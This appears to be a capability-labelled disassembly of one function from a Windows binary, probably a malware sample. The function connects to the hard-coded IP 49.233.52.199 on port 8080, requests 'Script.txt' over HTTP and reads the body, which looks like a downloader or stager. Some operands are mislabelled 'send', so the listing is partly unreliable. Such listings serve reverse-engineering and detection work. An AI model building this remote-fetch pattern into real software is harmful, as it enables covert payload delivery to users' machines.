Function at 0x14000a960
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Send http request

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4c0]
sub rsp, 0x5c0
mov rax, qword [0x140084008]
xor rax, rsp
mov qword [rbp + 0x4b0], rax
mov rbx, rcx
mov qword [rsp + 0x58], rcx
xor r13d, r13d
mov dword [rsp + 0x30], r13d
mov qword [rcx], r13
mov qword [rcx + 0x10], r13
mov qword [rcx + 0x18], send
mov byte [rcx], r13b
mov dword [rsp + 0x30], 1
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp - 0x10]
call fcn.14003dfd0
lea rcx, [rbp - 0x10]
call fcn.14000da90
nop
mov ecx, 0x202
lea rdx, [rbp + 0xf0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
cmp byte [rbp + 0xf0], 2
jne 0x14000aa07
movzx eax, word [rbp + 0xf2]
shr ax, 8
cmp al, 2
je 0x14000aa0d
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov edi, 2
mov word [rbp - 0x20], di
lea rcx, str.49.233.52.199
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp - 0x1c], eax
mov ecx, 0x1f90
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp - 0x1e], ax
xor r8d, r8d
lea edx, [rdi - 1]
mov ecx, edi
call qword [sym.imp.WS2_32.dll_socket]
mov r12, rax
lea r8d, [rdi + 0xe]
lea rdx, [rbp - 0x20]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x14000aa62
call qword [sym.imp.WS2_32.dll_WSACleanup]
movups xmm0, xmmword [str.GET__Script.txt_HTTP_1.0_n_n]
movups xmmword [rbp + 0x290], xmm0
movsd xmm1, qword [0x140079110]
movsd qword [rbp + 0x2a0], xmm1
movzx eax, word [0x140079118]
mov word [rbp + 0x2a8], ax
movzx eax, byte [0x14007911a]
mov byte [rbp + 0x2aa], al
xor r9d, r9d
lea r8d, [r9 + 0x64]
lea rdx, [rbp + 0x290]
mov rcx, r12
call qword [sym.imp.WS2_32.dll_send]
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], send
mov byte [rbp - 0x60], 0
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], send
mov byte [rbp - 0x40], 0
xor r9d, r9d
mov r8d, 0x1f4
lea rdx, [rbp + 0x2b0]
mov rcx, r12
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
js 0x14000b092
lea rax, [rbp + 0x2b0]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000ab10
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp - 0x60]
call fcn.140001ae0
lea rcx, [rbp - 0x60]
mov r14, qword [rbp - 0x60]
mov r15, qword [rbp - 0x48]
cmp r15, 0x10
cmovae rcx, r14
mov qword [rsp + 0x20], send
lea r9, str.Content_Length:
xor r8d, r8d
mov rsi, qword [rbp - 0x50]
mov rdx, rsi
call fcn.14000e560
mov r13, rax
lea rcx, [rbp - 0x60]
cmp r15, 0x10
cmovae rcx, r14
mov qword [rsp + 0x20], 2
lea r9, [0x140079130]
mov r8, rax
mov rdx, rsi
call fcn.14000e560
lea rcx, [r13 + 0xf]
xor edx, edx
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], send
cmp rsi, rcx
jb 0x14000b1d4
sub rax, r13
lea r8, [rax - 0xf]
sub rsi, rcx
cmp rsi, r8
cmovb r8, rsi
lea rdx, [rbp - 0x60]
cmp r15, 0x10
cmovae rdx, r14
add rdx, rcx
lea rcx, [rsp + 0x38]
call fcn.140001ae0
mov dword [rsp + 0x30], 3
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x14000ac16
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ac11
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b1ce
call fcn.140038ea4
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rbp - 0x30], xmm1
lea rdx, [rbp - 0x40]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rdx, rcx
movq r8, xmm1
lea rcx, [rbp]
call fcn.1400089c0
mov eax, dword [rbp - 0x68]
mov dword [rbp - 0x68], eax
lea rdx, [rbp - 0x68]
lea rcx, [rbp - 0x10]
call fcn.14000e290
lea rcx, [rbp - 0x60]
mov r15, qword [rbp - 0x60]
mov r13, qword [rbp - 0x48]
cmp r13, 0x10
cmovae rcx, r15
mov qword [rsp + 0x20], 4
lea r9, str._r_n_r_n
xor r8d, r8d
mov rsi, qword [rbp - 0x50]
mov rdx, rsi
call fcn.14000e560
mov rdx, rax
movsxd r14, dword [rbp - 0x68]
lea rcx, [rax + 4]
lea rax, [r14 + 4]
add rax, rdx
mov qword [rsp + 0x50], send
cmp rax, 0x1f4
jbe 0x14000aff3
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], rax
cmp rsi, rcx
jb 0x14000b1d4
mov r8d, 0x1f0
sub r8, rdx
sub rsi, rcx
cmp rsi, r8
cmovb r8, rsi
lea rdx, [rbp - 0x60]
cmp r13, 0x10
cmovae rdx, r15
add rdx, rcx
lea rcx, [rsp + 0x38]
call fcn.140001ae0
mov dword [rsp + 0x30], 7
lea rax, [rsp + 0x38]
cmp rbx, rax
je 0x14000ad6a
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14000ad4f
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000ad4a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000b1ce
mov rcx, r8
call fcn.140038ea4
mov qword [rbx + 0x18], send
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rbx + 0x10], xmm1
jmp 0x14000ada7
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x14000ada7
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ada2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b1ce
call fcn.140038ea4
xor r13d, r13d
mov rcx, r14
call fcn.1400459f0
mov rsi, rax
xor r9d, r9d
mov r8d, dword [rbp - 0x68]
mov rdx, rax
mov rcx, r12
call qword [sym.imp.WS2_32.dll_recv]
nop dword [rax + rax]
inc rdi
cmp byte [rsi + rdi], 0
jne 0x14000add0
mov r8, rdi
mov rdx, rsi
lea rcx, [rbp - 0x60]
call fcn.140001ae0
sub r14, qword [rbx + 0x10]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], send
mov byte [rsp + 0x38], 0
cmp qword [rbp - 0x50], r14
cmovb r14, qword [rbp - 0x50]
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae rdx, qword [rbp - 0x60]
mov r8, r14
lea rcx, [rsp + 0x38]
call fcn.140001ae0
mov dword [rsp + 0x30], send
mov rsi, qword [rbx + 0x10]
mov r15, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14000ae41
mov r15, qword [rbx]
mov r8, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
sub rax, r8
cmp rsi, rax
ja 0x14000aecf
lea rax, [r8 + rsi]
mov qword [rsp + 0x48], rax
lea rdi, [rsp + 0x38]
cmp rcx, 0x10
cmovae rdi, qword [rsp + 0x38]
lea rax, [rsi + r15]
cmp rax, rdi
jbe 0x14000ae92
lea rax, [rdi + r8]
cmp r15, rax
ja 0x14000ae92
cmp rdi, r15
ja 0x14000ae8a
mov r14, r13
jmp 0x14000ae95
mov r14, rdi
sub r14, r15
jmp 0x14000ae95
mov r14, rsi
lea rcx, [rdi + rsi]
inc r8
mov rdx, rdi
call fcn.14003e450
mov r8, r14
mov rdx, r15
mov rcx, rdi
call fcn.14003e450
lea rcx, [rdi + r14]
mov r8, rsi
sub r8, r14
lea rdx, [r14 + rsi]
add rdx, r15
call fcn.14003e450
lea rax, [rsp + 0x38]
jmp 0x14000aee6
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r15
mov rdx, rsi
lea rcx, [rsp + 0x38]
call fcn.1400129c0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], send
mov byte [rax], 0
lea rax, [rsp + 0x68]
cmp rbx, rax
je 0x14000af70
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14000af5c
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000af4e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000b1bc
mov rcx, r8
call fcn.140038ea4
movups xmm0, xmmword [rsp + 0x58]
movups xmm1, xmmword [rbp - 0x78]
mov qword [rbx + 0x18], send
mov byte [rbx], 0
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
jmp 0x14000afad
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x14000afad
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000afa7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b1bc
call fcn.140038ea4
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x14000b092
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000afe9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b1c2
call fcn.140038ea4
jmp 0x14000b092
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], rax
cmp rsi, rcx
jb 0x14000b1d4
sub rsi, rcx
cmp rsi, r14
cmovb r14, rsi
lea rdx, [rbp - 0x60]
cmp r13, 0x10
cmovae rdx, r15
add rdx, rcx
mov r8, r14
lea rcx, [rsp + 0x38]
call fcn.140001ae0
lea rax, [rsp + 0x38]
cmp rbx, rax
je 0x14000b174
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14000b076
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000b071
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000b1ce
mov rcx, r8
call fcn.140038ea4
mov qword [rbx + 0x18], send
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rbx + 0x10], xmm1
xor r13d, r13d
mov rcx, r12
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x14000b0dd
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b0d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b1c8
call fcn.140038ea4
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], send
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x14000b128
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b123
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b1b6
call fcn.140038ea4
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], send
mov byte [rbp - 0x60], 0
lea rcx, [rbp - 0x10]
call fcn.14000b1e0
mov rax, rbx
mov rcx, qword [rbp + 0x4b0]
xor rcx, rsp
call fcn.140038990
lea r11, [rsp + 0x5c0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x14000b08f
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b1ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b1ce
call fcn.140038ea4
jmp 0x14000b08f
call fcn.14004279c
nop
call fcn.14004279c
nop
call fcn.14004279c
nop
call fcn.14004279c
nop
call fcn.14004279c
int3
call fcn.1400075e0
int3